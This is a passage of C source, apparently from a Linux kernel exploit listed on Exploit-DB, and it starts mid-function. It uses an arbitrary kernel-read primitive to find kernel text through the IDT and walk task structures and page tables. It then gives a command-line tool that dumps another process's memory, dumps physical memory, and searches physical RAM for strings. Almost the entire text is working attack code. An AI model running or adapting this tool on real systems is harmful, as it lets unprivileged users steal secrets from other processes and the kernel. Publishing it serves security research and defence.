  unsigned long vm_start =
   read_field_8(mmap, O_VM_AREA_STRUCT_VM_START);
  unsigned long vm_end =
   read_field_8(mmap, O_VM_AREA_STRUCT_VM_END);
  if (vm_start >= TASK_SIZE || vm_end >= TASK_SIZE) {
   info("[-] bad mmap (did the task die?)\n");
   exit(EXIT_FAILURE);
  }
  unsigned vm_flags =
   read_field_4(mmap, O_VM_AREA_STRUCT_VM_FLAGS);
  entries[count].start = vm_start;
  entries[count].end = vm_end;
  entries[count].flags = vm_flags;
  count++;
  mmap = read_field_8(mmap, O_VM_AREA_STRUCT_VM_NEXT);
 }

 for (i = 0; i < count; i++)
  callback(&entries[i], private);
}

// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

static unsigned long g_kernel_text = 0;
static unsigned long g_physmap = 0;

static struct ptsc g_ptsc;

static void physmap_init() {
 unsigned long divide_error = read_idt_gate(0);
 info("[.] divide_error:     %016lx\n", divide_error);

 g_kernel_text = divide_error - O_DIVIDE_ERROR;
 info("[.] kernel text:      %016lx\n", g_kernel_text);

 if (O_PAGE_OFFSET_BASE) {
  unsigned long page_offset_base =
   g_kernel_text + O_PAGE_OFFSET_BASE;
  info("[.] page_offset_base: %016lx\n", page_offset_base);

  g_physmap = read_8(page_offset_base);
  info("[.] physmap:          %016lx\n", g_physmap);
  if (g_physmap < PAGE_OFFSET_BASE) {
   info("[-] physmap sanity check failed "
     "(wrong offset?)\n");
   exit(EXIT_FAILURE);
  }
 } else {
  g_physmap = PAGE_OFFSET_BASE;
  info("[.] physmap:          %016lx\n", g_physmap);
 }
}

static unsigned long g_mmap = 0;

static void pts_init(int pid) {
 unsigned long mm;

 if (pid != 0) {
  unsigned long init_task = g_kernel_text + O_INIT_TASK;
  info("[.] init_task:        %016lx\n", init_task);

  unsigned long task = find_task_by_pid(init_task, pid);
  info("[.] task:             %016lx\n", task);
  if (task == 0) {
   info("[-] task %d not found\n", pid);
   exit(EXIT_FAILURE);
  } else if (task < PAGE_OFFSET_BASE) {
   info("[-] task sanity check failed (wrong offset?)\n");
   exit(EXIT_FAILURE);
  }

  mm = read_field_8(task, O_TASK_STRUCT_MM);
  info("[.] task->mm:         %016lx\n", mm);
  if (mm == 0) {
   info("[-] mm not found (kernel task?)\n");
   exit(EXIT_FAILURE);
  } else if (mm < PAGE_OFFSET_BASE) {
   info("[-] mm sanity check failed (wrong offset?)\n");
   exit(EXIT_FAILURE);
  }

  g_mmap = read_field_8(mm, O_MM_STRUCT_MMAP);
  info("[.] task->mm->mmap:   %016lx\n", g_mmap);
  if (g_mmap < PAGE_OFFSET_BASE) {
   info("[-] mmap sanity check failed (wrong offset?)\n");
   exit(EXIT_FAILURE);
  }
 } else {
  mm = g_kernel_text + O_INIT_MM;
 }

 unsigned long pgd = read_field_8(mm, O_MM_STRUCT_PGD);
 info("[.] task->mm->pgd:    %016lx\n", pgd);
 if (pgd < PAGE_OFFSET_BASE) {
  info("[-] pgd sanity check failed (wrong offset?)\n");
  exit(EXIT_FAILURE);
 }

 ptsc_init(&g_ptsc, g_physmap, pgd);
}

static unsigned long page_virt_to_phys(unsigned long addr) {
 unsigned long paddr = ptsc_page_virt_to_phys(&g_ptsc, addr);
 assert(paddr != 0);
 return paddr - g_physmap;
}

static bool page_check_virt(unsigned long addr) {
 unsigned long paddr = ptsc_page_virt_to_phys(&g_ptsc, addr);
 return paddr != 0;
}

static bool page_check_phys(unsigned long offset) {
 return page_check_virt(g_physmap + offset);
}

static void phys_read_range(unsigned long offset, size_t length, char *buffer) {
 read_range(g_physmap + offset, length, buffer);
}

static void for_each_mmap(mmap_callback callback, void *private) {
 for_each_mmap_from(g_mmap, callback, private);
}

// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

static int create_file(const char *path) {
 int fd = open(path, O_RDWR | O_CREAT, 0644);
 if (fd < 0) {
  perror("[-] open()");
  exit(EXIT_FAILURE);
 }
 return fd;
}

static int open_dir(const char *path) {
 int fd = open(path, O_DIRECTORY | O_PATH);
 if (fd < 0) {
  perror("[-] open()");
  exit(EXIT_FAILURE);
 }
 return fd;
}

static int create_file_in_dir(int dirfd, const char *name) {
 int fd = openat(dirfd, name, O_RDWR | O_CREAT, 0644);
 if (fd < 0) {
  perror("[-] openat()");
  exit(EXIT_FAILURE);
 }
 return fd;
}

static void write_file(int fd, char *buffer, size_t length) {
 int rv = write(fd, buffer, length);
 if (rv != length) {
  perror("[-] write()");
  exit(EXIT_FAILURE);
 }
}

static void write_bytes(int fd, unsigned long src_addr,
   char *buffer, size_t length) {
 if (fd < 0)
  print_bytes(LOG_INFO, src_addr, buffer, length);
 else
  write_file(fd, buffer, length);
}

// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

void read_virt_memory(unsigned long addr, size_t length, int fd) {
 char buffer[PAGE_SIZE];
 char empty[PAGE_SIZE];

 debug1("read_virt_memory: addr = %016lx, length = %016lx\n",
   addr, length);

 memset(&empty[0], 0, sizeof(empty));

 size_t total_read = 0;
 while (total_read < length) {
  unsigned long current = addr + total_read;
  size_t to_read = PAGE_SIZE;
  if (current % PAGE_SIZE != 0)
   to_read = PAGE_SIZE - current % PAGE_SIZE;
  to_read = min(to_read, length - total_read);
  if (page_check_virt(addr + total_read)) {
   read_range(addr + total_read, to_read, &buffer[0]);
   write_bytes(fd, addr + total_read, &buffer[0], to_read);
  } else {
   write_bytes(fd, addr + total_read, &empty[0], to_read);
  }
  total_read += to_read;
 }
}

void read_phys_memory(unsigned long src_addr, unsigned long offset,
   size_t length, int fd) {
 char buffer[PAGE_SIZE];
 char empty[PAGE_SIZE];

 debug1("read_phys_memory: offset = %016lx, length = %016lx\n",
   offset, length);

 memset(&empty[0], 0, sizeof(empty));

 size_t total_read = 0;
 while (total_read < length) {
  unsigned long current = offset + total_read;
  size_t to_read = PAGE_SIZE;
  if (current % PAGE_SIZE != 0)
   to_read = PAGE_SIZE - current % PAGE_SIZE;
  to_read = min(to_read, length - total_read);
  if (page_check_phys(offset + total_read)) {
   phys_read_range(offset + total_read, to_read,
      &buffer[0]);
   write_bytes(fd, src_addr + offset + total_read,
     &buffer[0], to_read);
  } else {
   write_bytes(fd, src_addr + offset + total_read,
     &empty[0], to_read);
  }
  total_read += to_read;
 }
}

// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

#define VM_READ  0x00000001
#define VM_WRITE 0x00000002
#define VM_EXEC  0x00000004

static void print_mmap(unsigned long start, unsigned long end, unsigned flags) {
 info("[%016lx, %016lx)  %s%s%s\n",
  start, end,
  (flags & VM_READ)  ? "r" : "-",
  (flags & VM_WRITE) ? "w" : "-",
  (flags & VM_EXEC)  ? "x" : "-");
}

static void name_mmap(unsigned long start, unsigned long end, unsigned flags,
   char *buffer, size_t length) {
 snprintf(buffer, length, "%016lx_%016lx_%s%s%s",
  start, end,
  (flags & VM_READ)  ? "r" : "-",
  (flags & VM_WRITE) ? "w" : "-",
  (flags & VM_EXEC)  ? "x" : "-");
}

static void save_mmap(struct mmap_entry *entry, void *private) {
 int dirfd = (int)(unsigned long)private;
 unsigned long length;
 char name[128];
 char empty[PAGE_SIZE];

 assert(entry->start % PAGE_SIZE == 0);
 assert(entry->end % PAGE_SIZE == 0);

 memset(&empty, 0, sizeof(empty));
 length = entry->end - entry->start;

 print_mmap(entry->start, entry->end, entry->flags);
 name_mmap(entry->start, entry->end, entry->flags,
   &name[0], sizeof(name));
 int fd = create_file_in_dir(dirfd, &name[0]);

 size_t total_read = 0;
 while (total_read < length) {
  if (page_check_virt(entry->start + total_read)) {
   unsigned long offset = page_virt_to_phys(
    entry->start + total_read);
   read_phys_memory(entry->start + total_read, offset,
      PAGE_SIZE, fd);
  } else {
   write_bytes(fd, entry->start + total_read,
     &empty[0], PAGE_SIZE);
  }
  total_read += PAGE_SIZE;
 }

 close(fd);
}

// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

unsigned long get_phys_size() {
 struct sysinfo info;
 int rv = sysinfo(&info);
 if (rv != 0) {
  perror("sysinfo()");
  return EXIT_FAILURE;
 }
 debug1("phys size: %016lx\n", info.totalram);
 return info.totalram;
}

void phys_search(unsigned long start, unsigned long end, char *needle) {
 char buffer[PAGE_SIZE];
 int length = strlen(needle);

 assert(length <= PAGE_SIZE);

 unsigned long offset;
 for (offset = start; offset < end; offset += PAGE_SIZE) {
  if (offset % (32ul << 20) == 0)
   info("[.] now at %016lx\n", offset);
  if (!page_check_phys(offset))
   continue;
  phys_read_range(offset, length, &buffer[0]);
  if (memcmp(&buffer[0], needle, length) != 0)
   continue;
  info("[+] found at %016lx\n", offset);
  return;
 }
 info("[-] not found\n");
}

// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

#define CMD_IDT  1
#define CMD_PID  2
#define CMD_VIRT 3
#define CMD_PHYS 4
#define CMD_SEARCH 5

int g_cmd = 0;

static unsigned g_num = 1;
static unsigned g_pid = 0;
static unsigned long g_addr = 0;
static unsigned long g_length = 0;
static unsigned long g_offset = 0;
static const char *g_dir = NULL;
static const char *g_file = NULL;
static char *g_string = NULL;

static void print_usage(const char* name) {
 info("Usage: \n");
 info(" %s idt [NUM]                       "
   "dump IDT entries\n", name);
 info(" %s pid PID DIR                     "
   "dump process memory\n", name);
 info(" %s virt ADDR LENGTH [FILE]         "
   "dump virtual memory\n", name);
 info(" %s phys OFFSET LENGTH [FILE]       "
   "dump physical memory\n", name);
 info(" %s search STRING [OFFSET [LENGTH]] "
   "search start of each physical page\n", name);
 info("\n");
 info(" NUM, PID - decimals\n");
 info(" ADDR, LENGTH, OFFSET - hex\n");
 info(" DIR, FILE, STRING - strings\n");
}

static bool parse_u(char *s, int base, unsigned *out) {
 int length = strlen(s);
 char *endptr = NULL;
 unsigned long result = strtoul(s, &endptr, base);
 if (endptr != s + length)
  return false;
 *out = result;
 return true;
}

static bool parse_ul(char *s, int base, unsigned long *out) {
 int length = strlen(s);
 char *endptr = NULL;
 unsigned long result = strtoul(s, &endptr, base);
 if (endptr != s + length)
  return false;
 *out = result;
 return true;
}

static int parse_cmd(const char *cmd) {
 if (strcmp(cmd, "idt") == 0)
  return CMD_IDT;
 if (strcmp(cmd, "pid") == 0)
  return CMD_PID;
 if (strcmp(cmd, "virt") == 0)
  return CMD_VIRT;
 if (strcmp(cmd, "phys") == 0)
  return CMD_PHYS;
 if (strcmp(cmd, "search") == 0)
  return CMD_SEARCH;
 return 0;
}

static bool parse_args(int argc, char **argv) {
 if (argc < 2)
  return false;

 g_cmd = parse_cmd(argv[1]);

 switch (g_cmd) {
 case CMD_IDT:
  if (argc > 3)
   return false;
  if (argc >= 3 && !parse_u(argv[2], 10, &g_num))
   return false;
  return true;
 case CMD_PID:
  if (argc != 4)
   return false;
  if (!parse_u(argv[2], 10, &g_pid))
   return false;
  if (g_pid <= 0)
   return false;
  g_dir = argv[3]; 
  debug1("CMD_PID %u %s\n", g_pid, g_dir);
  return true;
 case CMD_VIRT:
  if (argc < 4 || argc > 5)
   return false;
  if (!parse_ul(argv[2], 16, &g_addr))
   return false;
  if (!parse_ul(argv[3], 16, &g_length))
   return false;
  if (argc == 5)
   g_file = argv[4];
  debug1("CMD_VIRT %016lx %016lx %s\n", g_addr,
    g_length, g_file ? g_file : "NULL");
  return true;
 case CMD_PHYS:
  if (argc < 4 || argc > 5)
   return false;
  if (!parse_ul(argv[2], 16, &g_offset))
   return false;
  if (!parse_ul(argv[3], 16, &g_length))
   return false;
  if (argc == 5)
   g_file = argv[4];
  debug1("CMD_PHYS %016lx %016lx %s\n", g_offset,
    g_length, g_file ? g_file : "NULL");
  return true;
 case CMD_SEARCH:
  if (argc < 3 || argc > 5)
   return false;
  g_string = argv[2];
  if (argc >= 4 && !parse_ul(argv[3], 16, &g_offset))
   return false;
  if (argc >= 5 && !parse_ul(argv[4], 16, &g_length))
   return false;
  debug1("CMD_SEARCH <%s> %016lx %016lx\n",
    g_string, g_offset, g_length);
  return true;
 default:
  return false;
 }

 return true;
}

// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

void handle_cmd_idt() {
 info("[.] dumping IDT\n");
 print_idt(g_num);
 info("[+] done\n");
}

void handle_cmd_virt() {
 int fd = -1;
 info("[.] dumping virtual memory [%016lx, %016lx):\n",
  g_addr, g_addr + g_length);
 if (g_file != NULL)
  fd = create_file(g_file);
 read_virt_memory(g_addr, g_length, fd);
 if (fd != -1)
  close(fd);
 info("[+] done\n");
}

void handle_cmd_phys() {
 int fd = -1;
 info("[.] dumping physical memory [%016lx, %016lx):\n",
  g_offset, g_offset + g_length);
 if (g_file != NULL)
  fd = create_file(g_file);
 read_phys_memory(0, g_offset, g_length, fd);
 if (fd != -1)
  close(fd);
 info("[+] done\n");
}

void handle_cmd_pid() {
 info("[.] dumping mmaps for %u:\n", g_pid);
 int dirfd = open_dir(g_dir);
 for_each_mmap(save_mmap, (void *)(unsigned long)dirfd);
 close(dirfd);
 info("[+] done\n");
}

void handle_cmd_search() {
 unsigned long start = g_offset ? g_offset : 0;
 unsigned long end = g_length ? (start + g_length) : get_phys_size();
 info("[.] searching [%016lx, %016lx) for '%s':\n",
   start, end, g_string);
 phys_search(start, end, g_string);
 info("[+] done\n");
}

// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

int main(int argc, char **argv) {
 assert(getpagesize() == PAGE_SIZE);

 if (!parse_args(argc, argv)) {
  print_usage(argv[0]);
  exit(EXIT_FAILURE);
 }

 arbitrary_read_init();

 if (g_cmd == CMD_IDT) {
  handle_cmd_idt();
  return EXIT_SUCCESS;
 }

 physmap_init();

 switch (g_cmd) {
 case CMD_VIRT:
  pts_init(getpid());
  handle_cmd_virt();
  break;
 case CMD_PHYS:
  pts_init(0);
  handle_cmd_phys();
  break;
 case CMD_SEARCH:
  pts_init(0);
  handle_cmd_search();
  break;
 case CMD_PID:
  pts_init(g_pid);
  handle_cmd_pid();
  break;
 }

 return EXIT_SUCCESS;
} URL: https://www.exploit-db.com/exploits/45175